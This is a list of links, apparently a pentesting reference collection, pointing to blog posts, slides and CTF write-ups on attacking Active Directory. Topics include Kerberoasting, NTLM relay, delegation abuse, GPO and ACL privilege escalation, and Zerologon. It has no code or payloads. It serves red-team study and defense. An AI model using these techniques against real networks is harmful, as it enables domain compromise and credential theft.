* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
|
||
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
|
||
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
|
||
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
|
||
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
|
||
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
|
||
* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
|
||
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
|
||
* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
|
||
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
|
||
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
|
||
* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf)
|
||
* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials)
|
||
* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
|
||
* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic)
|
||
* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)
|
||
* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)
|
||
* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||
* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
|
||
* [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
|
||
* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||
* [Active-Directory-Exploitation-Cheat-Sheet - @buftas](https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet#local-privilege-escalation)
|
||
* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
|
||
* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/)
|
||
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
|
||
* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html)
|
||
* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
|
||
* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020](https://www.secura.com/pathtoimg.php?id=2055)
|
||
* [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
|